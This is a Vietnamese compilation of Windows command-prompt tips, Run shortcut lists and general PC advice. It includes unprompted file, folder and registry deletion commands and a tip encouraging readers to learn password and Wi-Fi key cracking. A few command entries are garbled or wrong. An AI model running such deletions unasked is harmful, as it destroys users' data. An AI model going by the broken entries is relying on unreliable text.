Telnet Client không được cài đặt mặc định nên bạn sẽ phải cài đặt nó từ trong Control Panel. Sau khi cài đặt, bạn có thể sử dụng lệnh Telnet để kết nối với các Telnet Server mà không cần cài đặt bất kỳ phần mềm nào của bên thứ ba. Tuy rằng chúng ta nên tránh sử dụng Telnet, nhưng nếu bạn đang kết nối trực tiếp với một thiết bị và nó yêu cầu bạn sử dụng Telnet để thiết lập một điều gì đó thì là vẫn phải thực hiện bình thường.
Cipher: Xóa dữ liệu vĩnh viễn
Lệnh Cipher chủ yếu được sử dụng cho việc quản lý mã hóa, nhưng nó cũng có một tùy chọn khác là cho phép bạn xóa vĩnh viễn tệp tin và đảm bảo không thể phục hồi được. Lệnh này rất có hiệu quả trong quá trình quét sạch một ổ đĩa mà không cần cài đặt bất cứ một công cụ nào khác.
Để sử dụng lệnh Cipher, bạn chỉ cần chỉ định một ổ đĩa hoặc một thư mục cụ thể chẳng hạn như:cipher /w:c: hoặc naught /w:c:…
Netstat –an: Liệt kê các kết nối mạng và cổng
Lệnh Netstat là đặc biệt hữu ích, nó sẽ hiển thị tất cả các số liệu thống kê mạng khi được sử dụng với các tùy chọn khác nhau. Một trong những biến thể thú vị nhất của Netstat chính là Netstat –an,trong đó sẽ hiển thị một danh sách tất cả các kết nối mạng đang mở trên máy tính cùng với các cổng đang sử dụng và địa chỉ IP đã kết nối.
V- Phần 5
Tổng hợp các lệnh thông dụng trong Command (CMD)
Trước hết, xin giới thiệu sơ về Command:
Năm 1981, Microsoft ra đời hệ điều hành MS-DOS đầu tiên có giao diện dòng lệnh, đến năm 1991, phiên bản đã là MS-DOS 5.0, đến năm 1994 MS-DOS 6.22 là phiên bản cuối cùng. Sau đó bắt đầu 1995 trở về sau , các hệ điều hành làm việc theo chế độ cửa sổ (Windows), gồm Windows 95, Windows me, Windows 98 ..... Windows XP, Windows Vista, Windows seven (win 7).
Ta có thể gặp lại hình dáng của MS-DOS trong các hệ điều hành Windows, bằng cách chọn Start - run, gõ vào CMD. (viết tắt của chữ command ) (hiểu đơn giản là dòng lệnh) mọi thao tác làm việc đều bằng dòng lệnh.
CMD có rất nhiều ứng dụng, hầu như mọi người ko biết đến, chỉ có những người đam mê, tìm tòi, mới thấy CMD có ích ra sao, câu lệnh CMD khó nhớ, rất nhiều, chính vì thế tôi viết bài này ngoài mục đích cho mọi người cùng đọc thì còn mục đích khác là nếu tôi quên thì tôi sẽ vào xem lại.
Xin vui lòng đăng nhập hoặc đăng ký để xem liên kết
© Quyttht - PhienBanMoi.Com
Lệnh COPY :
cú pháp: COPY "nơi muốn lấy" "nơi đến" /Y ( /Y: copy không cần hỏi )
ví dụ: copy file A.exe từ D:\Bau đến C:\Program Files
COPY "D:\Bau\A.exe" "C:\Program Files\A.exe" /Y
Lệnh DEL : (xóa)
DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] "tên file cần xóa"
/P : Hiển thị thông tin file trước khi xóa
/F : Xóa các file có thuộc tính read-only
/S : Xóa file đó trong tất cả các thư mục
/Q : Xóa không cần hỏi
/A[[:]attributes] : xóa theo thuộc tính file
attributes : R: Read-only files, S: System files, H: Hidden files
ví dụ : xóa tất cả file trong thư mục C:\WINDOWS\Prefetch
DEL /f /s /q "C:\WINDOWS\Prefetch\*.*" (*.* : tất cả các file)
Lệnh RD : (xóa thư mục)
cú pháp : RD /s /q "thư mục cần xóa"
ví dụ : xóa thư mục Intel trong ổ đĩa C:\
RD /s /q "c:/intel" ( /s : xóa toàn bộ cây thư mục, /q : xóa không cần hỏi )
Lệnh MD : (Tạo thư mục)
cú pháp MD "tên thư mục cần tạo"
ví dụ : md "c:\bau" (tạo thư mục bau trong ổ đĩa C:\)
Lệnh IPCONFIG : ( xem IP của máy tính đang sử dụng )
cú pháp : ipconfig /all
Lệnh NET VIEW :
cú pháp : Net view (hiện danh sách các máy tính trong mạng cùng Domain)
Net view \\tenmaytinh (hiển thị các tài nguyên được chia sẻ của tenmaytinh)
Lệnh SHUTDOWN : (Tắt, khởi động lại máy tính)
cú pháp : shutdown -s -t 30 (tắt máy sau 30 giây, -s : shutdown)
shutdown -r -t 40 (khởi động lại máy sau 40 giây, -r : restart )
Lệnh TASKKILL : (Tắt 1 ứng dụng đang chạy)
cú pháp: taskkill /f /im Unikey.exe (tắt Unikey)
taskkill /f /im IEXPLORE.EXE (tắt Internet Explorer)
Lệnh REG ADD : (tạo, chỉnh sửa registry)
cú pháp : REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
ví dụ :
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v MenuShowDelay /t REG_SZ /d 0 /f
(thêm 1 data tên MenuShowDelay, kiểu dữ liệu REG_SZ, tham số là 0)
Lệnh REG DELETE : (xóa values, data trong registry)
cú pháp : REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
ví dụ :
reg delete "HKEY_CURRENT_USER\Software\WinRAR SFX" /f
(xóa values WinRAR SFX trong key HKEY_CURRENT_USER\Software\)
reg delete "HKEY_CURRENT_USER\Software\Symantec\Symantec Ghost\Explorer\Ghost
Explorer\Recent File List" /v File3 /f
( xóa data "File3" trong "HKEY_CURRENT_USER\Software\Symantec\Symantec Ghost\Explorer\Ghost
Explorer\Recent File List" )
Lệnh REGEDIT.EXE : (chạy 1 file .reg)
cú pháp : Regedit.exe /s "nơi chứa file .reg" ( /s : không cần hỏi)
ví dụ :Regedit.exe /s "C:\bau\thongtin.reg"
(chạy file thongtin.reg trong thư mục C:\bau)
Lệnh ATTRIB : (đặt thuộc tính cho file , folder)
cú pháp: ATTRIB -A -S -H -R "file, thư mục"
ATTRIB +A +S +H +R "file, thư mục" /S /D
Trong đó:
dấu "-" : loại bỏ thuộc tính
dấu "+" : Thêm vào thuộc tính
A : (Archive) : thuộc tính lưu trữ
S : (System) : thuộc tính hệ thống
H : (Hidden) : thuộc tính ẩn
R : (Read - only ) : Thuộc tính chỉ đọc
/S : thực hiện với tất cả file nằm trong thư mục hiện hành, và tất cả các thư mục con.
/D : đặt thuộc tính cho thư mục và thư mục con, chứ không đặt thuộc tính cho file.
ví dụ : attrib +h "e:\nhac" /d
(ẩn folder "nhac" trong ổ đĩa E:\, thay +h thành -h thì sẽ hiện lại thư mục "nhac")
Chỉ cần biết những lệnh cơ bản như trên, và 1 chút hiểu biết về registry, bạn có thể làm được rất nhiều việc để chỉnh sửa, tối ưu máy tính.......chỉ bằng 1 cú click chuột + 3 giây sau, mọi thông tin trong máy tính sẽ theo ý mình .
VI-117 CÂU LỆNH TRONG CMD:
1. Accessibility Controls - access.cpl
2. Accessibility Wizard - accwiz
3. Add Hardware Wizard - hdwwiz.cpl
4. Add/Remove Programs - appwiz.cpl
5. Administrative Tools - control admintools
6. Automatic Updates - wuaucpl.cpl
7. Bluetooth Transfer Wizard - fsquirt
8. Calculator - calc
9. Certificate Manager - certmgr.msc
10. Character Map - charmap
11. Check Disk Utility - chkdsk
12. Clipboard Viewer - clipbrd
13. Command Prompt - cmd
14. Component Services - dcomcnfg
15. Computer Management - compmgmt.msc
16. Control Panel - control
17. Date and Time Properties - timedate.cpl
18. DDE Shares - ddeshare
19. Device Manager - devmgmt.msc
20. Direct X Troubleshooter - dxdiag
21. Disk Cleanup Utility - cleanmgr
22. Disk Defragment - dfrg.msc
23. Disk Management - diskmgmt.msc
24. Disk Partition Manager - diskpart
25. Display Properties - control desktop
26. Display Properties - desk.cpl
27. Dr. Watson System Troubleshooting Utility - drwtsn32
28. Driver Verifier Utility - verifier
29. Event Viewer - eventvwr.msc
30. Files and Settings Transfer Tool - migwiz
31. File Signature Verification Tool - sigverif
32. Findfast - findfast.cpl
33. Firefox - firefox
34. Folders Properties - control folders
35. Fonts - control fonts
36. Fonts Folder - fonts
37. Free Cell Card Game - freecell
38. Game Controllers - joy.cpl
39. Group Policy Editor (for xp professional) - gpedit.msc
40. Hearts Card Game - mshearts
41. Help and Support - helpctr
42. HyperTerminal - hypertrm
43. Iexpress Wizard - iexpress
44. Indexing Service - ciadv.msc
45. Internet Connection Wizard - icwconn1
46. Internet Explorer - iexplore
47. Internet Properties - inetcpl.cpl
48. Keyboard Properties - control keyboard
49. Local Security Settings - secpol.msc
50. Local Users and Groups - lusrmgr.msc
51. Logs You Out Of Windows - logoff
52. Malicious Software Removal Tool - mrt
53. Microsoft Chat - winchat
54. Microsoft Movie Maker - moviemk
55. Microsoft Paint - mspaint
56. Microsoft Syncronization Tool - mobsync
57. Minesweeper Game - winmine
58. Mouse Properties - control mouse
59. Mouse Properties - main.cpl
60. Netmeeting - conf
61. Network Connections - control netconnections
62. Network Connections - ncpa.cpl
63. Network Setup Wizard - netsetup.cpl
64. Notepad notepad
65. Object Packager - packager
66. ODBC Data Source Administrator - odbccp32.cpl
67. On Screen Keyboard - osk
68. Outlook Express - msimn
69. Paint - pbrush
70. Password Properties - password.cpl
71. Performance Monitor - perfmon.msc
72. Performance Monitor - perfmon
73. Phone and Modem Options - telephon.cpl
74. Phone Dialer - dialer
75. Pinball Game - pinball
76. Power Configuration - powercfg.cpl
77. Printers and Faxes - control printers
78. Printers Folder - printers
79. Regional Settings - intl.cpl
80. Registry Editor - regedit
81. Registry Editor - regedit32
82. Remote Access Phonebook - rasphone
83. Remote Desktop - mstsc
84. Removable Storage - ntmsmgr.msc
85. Removable Storage Operator Requests - ntmsoprq.msc
86. Resultant Set of Policy (for xp professional) - rsop.msc
87. Scanners and Cameras - sticpl.cpl
88. Scheduled Tasks - control schedtasks
89. Security Center - wscui.cpl
90. Services - services.msc
91. Shared Folders - fsmgmt.msc
92. Shuts Down Windows - shutdown
93. Sounds and Audio - mmsys.cpl
94. Spider Solitare Card Game - spider
95. SQL Client Configuration - cliconfg
96. System Configuration Editor - sysedit
97. System Configuration Utility - msconfig
98. System Information - c
99. System Properties - sysdm.cpl
100. Task Manager - taskmgr
101. TCP Tester - tcptest
102. Telnet Client - telnet
103. User Account Management - nusrmgr.cpl
104. Utility Manager - utilman
105. Windows Address Book - wab
106. Windows Address Book Import Utility - wabmig
107. Windows Explorer - explorer
108. Windows Firewall - firewall.cpl
109. Windows Magnifier - magnify
110. Windows Management Infrastructure - wmimgmt.msc
111. Windows Media Player - wmplayer
112. Windows Messenger - msmsgs
113. Windows System Security Tool - syskey
114. Windows Update Launches - wupdmgr
115. Windows Version - winver
116. Windows XP Tour Wizard - tourstart
117. Wordpad - write
Nguồn bài viết: http://thegioitinhoc.vn/gloria-Eklablog-vimeo
VII- Phần 7: 1 Số lệnh trong Run
1. Character Map = charmap.exe (rất hữu dụng trong việc tìm kiếm các ký tự không thông dụng)
2. Disk Cleanup = cleanmgr.exe (dọn dẹp đĩa để tăng dung lượng trống)
3. Clipboard Viewer = clipbrd.exe (Xem nội dung của Windows clipboard)
4. Dr Watson = drwtsn32.exe (Công cụ gỡ rối)
5. DirectX diagnosis = dxdiag.exe (Chẩn đoán và thử DirectX, card màn hình & card âm thanh)
6. Private character editor = eudcedit.exe (cho phép tạo ra hoặc sửa đổi các ký tự(nhân vật?))
7. IExpress Wizard = iexpress.exe (Tạo ra các file nén tự bung hoặc các file tự cài đặt)
8. Mcft Synchronization Manager = mobsync.exe (cho phép đồng bộ hóa thư mục trên mạng cho làm việc Offline. Không được cung cấp tài liệu rõ ràng).
9. Windows Media Player 5.1 = mplay32.exe (phiên bản cũ của Windows Media Player, rất cơ bản).
10. ODBC Data Source Administrator = odbcad32.exe (Làm một số việc với các cơ sở dữ liệu)
11. Object Packager = packager.exe (Làm việc với các đối tượng đóng gói cho phép chèn file vào, có các file trợ giúp toàn diện).
12. System Monitor = perfmon.exe (rất hữu ích, công cụ có tính cấu hình rất cao, cho bạn biết mọi thứ bạn muốn biết về bất kỳ khía cạnh nào của hiệu suất PC, for uber-geeks only )
13. Program Manager = progman.exe (Legacy Windows 3.x desktop shell).
14. Remote Access phone book = rasphone.exe (Tài liệu là ảo, không tồn tại).
15. Registry Editor = regedt32.exe [also regedit.exe] (dành cho việc chỉnh sửa Windows Registry).
16. Network shared folder wizard = shrpubw.exe (Tạo các thư mục được chia sẻ trên mạng).
17. File siganture verification tool = sigverif.exe
18. Volume Contro = sndvol32.exe (Tôi bổ sung cái này cho những người bị mất nó từ vùng cảnh báo của hệ thống).
19. System Configuration Editor = sysedit.exe (Sửa đổi System.ini & Win.ini giống như Win98! ).
20. Syskey = syskey.exe (bảo mật cơ sở dữ liệu tài khoản WinXP - cẩn thận khi sử dụng, Nó không được cung cấp tài liệu nhưng hình như nó mã hóa tất cả các mật khẩu, Tôi không chắc về chức năng đầy đủ của nó).
21. Mcft Telnet Client = telnet.exe
22. Driver Verifier Manager = verifier.exe (có vẻ như là một tiện ích theo dõi hoạt động của các Driver(trình điều khiển) phần cứng ,có thể hữu ích đối với người gặp sự cố với các Driver. Khộng được cung cấp tài liệu)
23. Windows for Workgroups Chat = winchat.exe (Xuất hiện như là 1 tiện ích WinNT cũ cho phép chat trong mạng LAN,có file trợ giúp).
24. System configuration = msconfig.exe (Có thể sử dụng để quản lý các chương trình khởi động cùng với Windows)
25. gpedit.msc được sử dụng để quản lý các chính sách nhóm và các quyền hạn.
here are more 99 commands
Accessibility Controls: access.cpl
Add Hardware Wizard: hdwwiz.cpl
Add/Remove Programs:cappwiz.cpl
Administrative Tools: control admintools
Automatic Updates: wuaucpl.cpl
Bluetooth Transfer Wizard: fsquirt
Calculator: calc
Certificate Manager: certmgr.msc
Character Map: charmap
Check Disk Utility:chkdsk
Clipboard Viewer: clipbrd
Command Prompt: cmd
Component Services: dcomcnfg
Computer Management: compmgmt.msc
Date and Time Properties: timedate.cpl
DDE Shares: ddeshare
Device Manager: devmgmt.msc
Direct X Control Panel (If Installed)*: directx.cpl
Direct X Troubleshooter: dxdiag
Disk Cleanup Utility: cleanmgr
Disk Defragment: dfrg.msc
Disk Management: diskmgmt.msc
Disk Partition Manager: diskpart
Display Properties: control desktop
Display Properties: desk.cpl
Display Properties (w/Appearance Tab Preselected): control color
Dr. Watson System Troubleshooting Utility: drwtsn32
Driver Verifier Utility: verifier
Event Viewer: eventvwr.msc
File Signature Verification Tool: sigverif
Findfast: findfast.cpl
Folders Properties: control folders
Fonts: control fonts
Fonts Folder: fonts
Free Cell Card Game: freecell
Game Controllers: joy.cpl
Group Policy Editor (XP Prof): gpedit.msc
Hearts Card Game: mshearts
Iexpress Wizard: iexpress
Indexing Service: ciadv.msc
Internet Properties: inetcpl.cpl
IP Configuration (Display Connection Configuration): ipconfig /all
IP Configuration (Display DNS Cache Contents): ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents): ipconfig /flushdns
IP Configuration (Release All Connections): ipconfig /release
IP Configuration (Renew All Connections): ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS): ipconfig /registerdns
IP Configuration (Display DHCP Class ID): ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID): ipconfig /setclassid
ava Control Panel (If Installed): jpicpl32.cpl
Java Control Panel (If Installed): javaws
Keyboard Properties: control keyboard
Local Security Settings: secpol.msc
Local Users and Groups: lusrmgr.msc
Logs You Out Of Windows: logoff
Microsoft Chat: winchat
Minesweeper Game: winmine
Mouse Properties: control mouse
Mouse Properties: main.cpl
Network Connections: control netconnections
Network Connections: ncpa.cpl
Network Setup Wizard: netsetup.cpl
Notepad: notepad
Nview Desktop Manager (If Installed): nvtuicpl.cpl
Object Packager: packager
ODBC Data Source Administrator: odbccp32.cpl
On Screen Keyboard: osk
Opens AC3 Filter (If Installed): ac3filter.cpl
Password Properties: password.cpl
Performance Monitor: perfmon.msc
Performance Monitor: perfmon
Phone and Modem Options: telephon.cpl
Power Configuration: powercfg.cpl
Printers and Faxes: control printers
Printers Folder: printers
Private Character Editor: eudcedit
Quicktime (If Installed): QuickTime.cpl
Regional Settings: intl.cpl
Registry Editor: regedit
Registry Editor: regedit32
emote Desktop: mstsc
Removable Storage: ntmsmgr.msc
Removable Storage Operator Requests: ntmsoprq.msc
Resultant Set of Policy (XP Prof): rsop.msc
Scanners and Cameras: sticpl.cpl
Scheduled Tasks: control schedtasks
Security Center: wscui.cpl
Services: services.msc
Shared Folders: fsmgmt.msc
Shuts Down Windows: shutdown
Sounds and Audio: mmsys.cpl
Spider Solitare Card Game: spider
SQL Client Configuration: cliconfg
System Configuration Editor: sysedit
System Configuration Utility: msconfig
System File Checker Utility (Scan Immediately): sfc /scannow
System File Checker Utility (Scan Once At Next Boot): sfc /scanonce
System File Checker Utility (Scan On Every Boot): sfc /scanboot
System File Checker Utility (Return to Default Setting): sfc /revert
System File Checker Utility (Purge File Cache): sfc /purgecache
System File Checker Utility (Set Cache Size to size x): sfc /cachesize=x
System Properties: sysdm.cpl
Task Manager:taskmgr
Telnet Client:telnet
User Account Management:nusrmgr.cpl
Utility Manager:utilman
Windows Firewall:firewall.cpl
Windows Magnifier:magnify
Windows Management Infrastructure:wmimgmt.msc
Windows System Security Tool:syskey
Windows Update Launches:wupdmgr
Windows XP Tour Wizard:tourstart
Wordpad:write hoặc wordpad (IMG:style_emoticons/default/107.gif)
Các Bạn cứ từ từ nghiên cứu đi nhé...
Nguồn bài viết: http://thegioitinhoc.vn/tin-hoc-can-ban/75416-117--
VIII-Tìm hiểu về command prompt
Thời điểm trước khi Windows xuất hiện, khi bật một chiếc máy tính lên chúng ta sẽ chẳng thấy gì ngoài C:\>prompt cùng với một con trỏ chuột. Nó được biết đến với tên gọi command prompt (hoặc đôi khi là Dos prompt). Để máy tính có thể thực hiện công việc, người dùng sẽ phải điền lệnh từ bộ nhớ trong.
Tuy nhiên, phương pháp sử dụng máy tính này thực sự thiếu hấp dẫn và một vài người thậm chí còn muốn quay trở lại sử dụng Dos prompt.
Dẫu vậy, liệu bạn có tin rằng dòng lệnh vẫn còn tồn tại trên tất cả các phiên bản của Windows? Tại sao vậy? Lý do nằm ở chỗ các lệnh vẫn là cách nhanh chóng và mạnh mẽ để quản lý rất nhiều mặt của Windows mà không phải dùng tới giao diện đồ họa gây phức tạp.
Như nội dung trong bài sẽ viết, dòng lệnh có thể là công cụ hãu ích để sửa và kiểm tra, giám sát các lỗi và thậm chí là cải thiện khả năng bảo mật.
Dẫu vậy, chúng tôi cũng phải thừa nhận rằng các lệnh của dòng lệnh là các công cụ miễn phí; mặc dù không phải lúc nào chúng cũng cần thiết, việc học những điều cơ bản còn giúp người dùng khám phá ra những điều bí ẩn ở hoạt động bên trong của Windows.
Trước khi bắt tay vào thực hiện, có 2 điều bạn nên nhớ. Trước tiên, bài viết này không dành cho người mới dùng hay những người ngại thay đổi. Thứ 2, sao lưu máy tính trước khi làm: chúng tôi không chịu trách nhiệm cho bất kì vấn đề nào nảy sinh khi bạn sử dụng dòng lệnh.
Windows Command Prompt
Trước khi Windows xuất hiện, hệ điều hành có tên MS-Dos – rút gọn của từ Microsoft Disk Operating System– đã thống trị thế giới máy tính. Nó sẽ cung cấp đường link kết nối giữa người dùng và phần cứng máy tính và dựa trên chữ viết, chỉ yêu cầu bàn phím để hoạt động.
Về mặt kỹ thuật, MS-Dos sử dụng một dạng giống như command-line interface (CLI – giao diện dòng lệnh), trong khi Windows lại khai thác graphical user interface (GUI – giao diện người dùng đồ họa).
Các phiên bản của hệ điều hành Windows trước XP cần MS-Dos để hoạt động bởi chính Windows không thể truy cập vào Bios của máy tính. BIOS là viết tắt của cụm từ tiếng Anh (Basic Input/Output System) có nghĩa là hệ thống xuất nhập cơ bản.
Người dùng có thể chọn chạy Dos hoặc Windows khi máy tính khởi động và hiển nhiên là mọi người đều chọn Windows.
Windows XP giới thiệu một công cụ có tên Command Prompt, hiện tại vẫn tồn tại trong cả Windows Vista và Windows 7. Nó tương đối giống với MS-Dos nhưng nó thực chất chỉ là một bộ giả lập của MS-Dos chạy bên trong Windows.
Ngoài mặt kỹ thuật, Command Prompt cho phép truy cập một vài công cụ và cài đặt ít được biết đến. Do nó không cần đến đồ họa, Command Prompt rất nhanh và trong một số trường hợp, nó có thể sử dụng để thực hiện các tác vụ mà Windows không thể thực hiện.
Tất nhiên, vẫn có một vài khuyết điểm, không ít trong số đó là bản chất bí ẩn của các lệnh. Microsoft cung cấp một danh sách lệnh toàn diện, cách sử dụng chúng và rất nhiều lựa chọn khác nhau. Kích vào đây để nhận danh sách của Windows XP và kích vào đây để nhận phiên bản dành cho Windows Vista/7.
Khi Windows Explorer là tốt nhất
Mặc dù Command Prompt là công cụ mạnh mẽ, chúng tôi không cho rằng nó là phương pháp dễ dàng hoặc tốt nhất để thực hiện các tác vụ. Một số lệnh dường như hơi phức tạp, có thể là do một chuỗi ký tự dài hoặc có quá nhiều thông số.
Sẽ rất dễ xảy ra lỗi do người dùng không để ý khi đánh máy vậy nên tốt hơn hết bạn nên sử dụng Windows Explorer để quản lý file hàng ngày.
Bên cạnh đó, các tác vụ liên quan tới dòng lệnh cũng tiềm ẩn những nguy hiểm – có một số hộp thoại xác nhận “No, Yes or Cancel” và không có lệnh Undo (các file bị xóa trong Commpand Prompt không thể phục hồi lại từ Recycle Bin), vậy nên đôi khi những hành động đã thực hiện không thể thu hồi lại được.
Chẳng may sử dụng sai thông số và file sai cũng có thể bị ghi đè – thậm chí có thể làm hỏng cả file hệ thống của Windows.
IX-Phần 9
http://genk.vn/pc-do-choi-so/10-dieu-ban-can-tim-hieu-de-lam-chu-may-tinh-20130524210622044.chn
Máy tính hiện nay vẫn được đánh giá là công cụ hỗ trợ tuyệt vời nhất cả trong làm việc và lĩnh vực giải trí so với các thiết bị khác như smartphone hay tablet. Việc không ngừng tìm tòi, nắm bắt các kinh nghiệm mới sẽ giúp bạn rất nhiều trong việc làm chủ máy tính của mình và hỗ trợ tốt hơn cho hoạt động thường ngày. Sau đây là 10 lời khuyên hữu ích mà bạn có thể tham khảo từ trang công nghệ Lifehacker.
1-Tìm hiểu các tính năng phụ của những chương trình bạn đang có
Hiện nay, mỗi nhu cầu sử dụng hàng ngày của bạn đều có thể được đáp ứng dễ dàng bằng rất nhiều loại phần mềm chuyên dụng khác nhau. Tuy nhiên, nhiều phần mềm đang cài đặt sẵn trong máy tính lại có thể ẩn chứa nhiều tính năng rất hữu ích mà chúng ta chưa khám phá ra. Chẳng hạn, Dropbox ngoài việc được biết đến như một công cụ lưu trữ đám mây thì ứng dụng này có thể giúp giám sát thiết bị hay in ấn từ xa, hoặc thậm chí lần ra...kẻ trộm, trong trường hợp laptop của bạn bị đánh cắp. Trong trường hợp của Dropbox là khi kẻ trộm bật laptop và kết nối internet, Dropbox sẽ tự động ghi lại IP của máy tính. Khi bạn truy cập vào trang web của Dropbox, ở trang tài khoản (Account) sẽ liệt kê tất cả các thiết bị mà bạn đang cài Dropbox trên đó cũng như IP mới nhất đăng nhập đang dùng tài khoản của bạn. Bạn có thể dựa vào thông tin này để phối hợp với cơ quan chức năng để truy tìm kẻ trộm...Nhìn chung, bất kỳ công cụ nào cũng ẩn chứa nhiều tính năng hữu ích, chỉ cần bạn không ngừng tìm kiếm và học hỏi.
2-Sử dụng Command Line đem lại những hiệu quả bất ngờ
Giao diện của Command Line có cảm giác tương đối “khô cứng” nhưng những công dụng mà nó đem lại thực sự vô cùng hữu ích. Bạn có thể dễ dàng tìm hiểu về các dòng lệnh và cách sử dụng chúng trên Command Line thông qua sách vở hay internet. Một khi đã thành thạo, với Command Line, bạn sẽ có thể dễ dàng tìm kiếm dữ liệu, kiểm tra kết nối, xem cấu hình IP, xem thông tin hệ thống, điều hướng thiết bị…
3-Tìm hiểu về tài nguyên hệ thống
Khi cảm thấy chiếc máy tính của mình hoạt động chậm chạp hơn bình thường, việc cần làm đầu tiên là truy cập vào mục giám sát và quản lý các tài nguyên của hệ thống. Tuy nhiên, nếu chưa thực sự am hiểu, một loạt các biểu đồ, đồ thị sẽ nhanh chóng làm bạn rối mắt và không biết bắt đầu từ đâu. Thỉnh thoảng sẽ có những chương trình rất “ngốn” CPU khi chạy khiến con chip của bạn luôn trong tình trạng full load dẫn đến treo toàn bộ hệ thống.
Thiếu RAM cũng là một nguyên nhân gây chậm cho máy tính, do đó bạn cũng nên nghiên cứu về tình trạng RAM Usage để có thể tắt bớt các chương trình không cần thiết. Có những trường hợp bạn đang sử dụng thì máy tính đột ngột tắt tự động, có khá nhiều nguyên nhân gây ra tình trạng này nhưng thường là do CPU quá nóng, rất dễ gặp vào mùa hè như hiện nay. Khi đó bạn hãy sử dụng một số công cụ đo nhiệt độ của CPU, GPU, mainboard để tìm xem lý do có phải như vậy không và có những biện pháp khắc phục kịp thời.
4-Sắp xếp công việc theo lịch trình
Windows và một số nền tảng hệ điều hành hiện nay được tích hợp sẵn tiện ích Task Scheduler cho phép người dùng lên lịch trước cho các hoạt động của máy tính. Chẳng hạn, bạn có thể cài đặt lịch tự động, bật máy tính khi đang ở chế độ sleep, sau đó tự bảo trì rồi tải ảnh.
5-Khám phá và sử dụng các tính năng ẩn trên hệ điều hành
Mỗi hệ điều hành như Windows hay Mac đều có rất nhiều tính năng ẩn hữu ích. Đơn cử, trên Windows 8 có thể hỗ trợ đồng bộ nhiều hệ thống tài khoản. Bên cạnh đó, một tài khoản liên kết loại mới còn cho phép bạn đồng bộ các thiết lập Windows, từ hình nền desktop cho tới lịch sử trình duyệt. Loại tài khoản này sẽ cực kỳ hữu ích nếu bạn dùng nhiều máy tính khác nhau tại nhà và ở cơ quan.
Những công cụ đi kèm này có sức mạnh không hề kém cạnh phần mềm của bên thứ 3 và đặc biệt là tính tương thích rất cao. Vì vậy bạn hãy cố gắng tận dụng thật tốt chúng.
6-Học cách bẻ khoá mật khẩu
Tất nhiên, bạn không cần phải học cách bẻ khoá mật khẩu để trở thành một hacker chuyên nghiệp. Nhưng việc hiểu được một số kỹ năng cơ bản của “nghệ thuật” “hack password” sẽ giúp bạn có thể tự bảo vệ dữ liệu trên chiếc máy tính của mình an toàn. Không hẳn cứ thiết lập những mật khẩu phức tạp là bạn đã có thể yên tâm, nếu muốn đảm bảo bạn vẫn cần thêm một số công cụ mã hoá hoặc các tinh chỉnh thiết lập tối ưu.Tương tự như vậy, bạn cũng hoàn toàn có thể học thêm cách dò WEP của mạng Wi-Fi hay mật khẩu WPA.
7-Điều hướng mọi thứ bằng bàn phím
Gõ phím nhanh bằng 10 đầu ngón tay và sử dụng thành thạo các phím tắt trong một số chương trình phổ biến như Microsoft Word, Gmail sẽ giúp ích cho bạn rất nhiều trong công việc văn phòng. Xem tổ hợp phím tắt thông dụng nhất trên hệ điều hành Windows và Mac: tại đây.
8-Tăng sức mạnh phần cứng
Chiếc máy tính của bạn không phải là thiết bị hiện đại nhất hiện nay, nhưng bạn muốn nó đủ sức chơi những game cấu hình cao hoặc thực hiện công việc đồ họa. Khi đó, một giải pháp đặt ra mà không phải nâng cấp phần cứng đó là “OC”. Đây là phương pháp tăng xung cho CPU hoặc GPU để giúp thiết bị chạy nhanh hơn.Tuy nhiên, đây là một biện pháp khá mạo hiểm và không khuyến khích cho những người dùng không chuyên vì CPU có thể bị quá tải hoặc nóng quá mức, ảnh hưởng rất nhiều đến tuổi thọ phần cứng.
9-Điều khiển máy tính bằng AutoHotkey
Người dùng Windows có thể sử dụng AutoHotkey để tạo ra các phím tắt trên bàn phím một cách đơn giản nhằm kiểm soát máy tính của họ từ xa. Các công dụng chính của AutoHotkey như tự động hóa hầu hết các thao tác bằng tổ hợp phím và chuột; tạo hotkey cho bàn phím, phím điều khiển, và chuột, hay tổ chúng lại với nhau; tạo phím tắt phục vụ cho công việc văn phòng. Trong khi đó, người dùng Mac được tích hợp sẵn một công cụ gần tương tự là AppleScript.
10-Thử nghiệm hệ điều hành Linux
Windows có thể nói là một HĐH khá "hoàn hảo", dễ sử dụng, với rất nhiều tiện ích đáp ứng gần như mọi yêu cầu của người dùng. Vậy thì tại sao chúng ta lại phải tìm đến một HĐH như Linux ? Điều đó liệu có thực sự cần thiết không?
Linux là một HĐH mã nguồn mở với chi phí rẻ hơn, dễ nâng cấp, cải tiến (do cung cấp mã nguồn kèm theo). Bạn có thể chỉnh sửa Linux và các ứng dụng trên đó sao cho phù hợp với mình nhất. Ngoài ra, Linux còn có một số ưu điểm khác như có độ an toàn cao, thích hợp cho quản trị mạng và chạy thống nhất trên nhiều hệ thống phần cứng
-----------------------------------------------
Kỳ Đồng, 15-9-2014
Đình Sơn sưu tầm